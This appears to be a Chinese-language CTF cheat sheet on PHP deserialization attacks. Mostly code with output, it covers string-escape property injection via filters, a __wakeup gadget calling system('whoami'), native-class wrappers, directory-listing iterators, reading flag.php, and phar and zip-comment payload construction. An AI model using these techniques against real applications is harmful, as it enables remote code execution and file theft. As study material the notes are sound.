class S{
public $test="pikachu";
}
$s=new S();  # 创建一个对象
echo serialize($s);  # 把这个对象进行序列化

序列化后得到的结果是这个样子的:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

<?php
class C {
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}';
    public $pass='123456';
}

function filter($str){
    return str_replace('bb', 'ccc', $str);
}

$A=new C();
echo serialize($A)."\n";

$res=filter(serialize($A));
echo serialize($res)."\n";

$c=unserialize($res);
echo $c->pass;

输出
O:1:"C":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}

s:163:"O:1:"C":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"shell2";}";s:4:"pass";s:6:"123456";}";

shell2

<?php
class C {
    public $name='cccccccccccccccccccccccccccccccccccccccccccccccccccccc';
    public $pass=';s:4:"qwer";s:5:"shell';
}

function filter($str){
    return str_replace('ccc', 'bb', $str);
}

$A=new C();
echo serialize($A)."\n";

$res=filter(serialize($A));
echo serialize($res)."\n";

$c=unserialize($res);
echo $c->qwer;

输出
O:1:"C":2:{s:4:"name";s:54:"cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}

s:108:"O:1:"C":2:{s:4:"name";s:54:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:22:";s:4:"qwer";s:5:"shell";}";

shell

<?php
class c{
    public $code = 'whoami';
    function __wakeup() {
        system($this->code);
    }
}
 
// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';
 
// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';
 
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';
 
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

echo new ReflectionClass('类');
echo new ReflectionClass('system("whoami")');

echo new Exception('system("whoami")');
echo new Error('system("whoami")');

FilesystemIterator 和 DirectoryIterator 用法
FilesystemIterator(getcwd());
DirectoryIterator("glob:///*");

// 不需要glob协议头
GlobIterator("f*");

// 遍历
<?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>

SplFileObject("flag.php");

<?php
class TestObject {
}
 
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();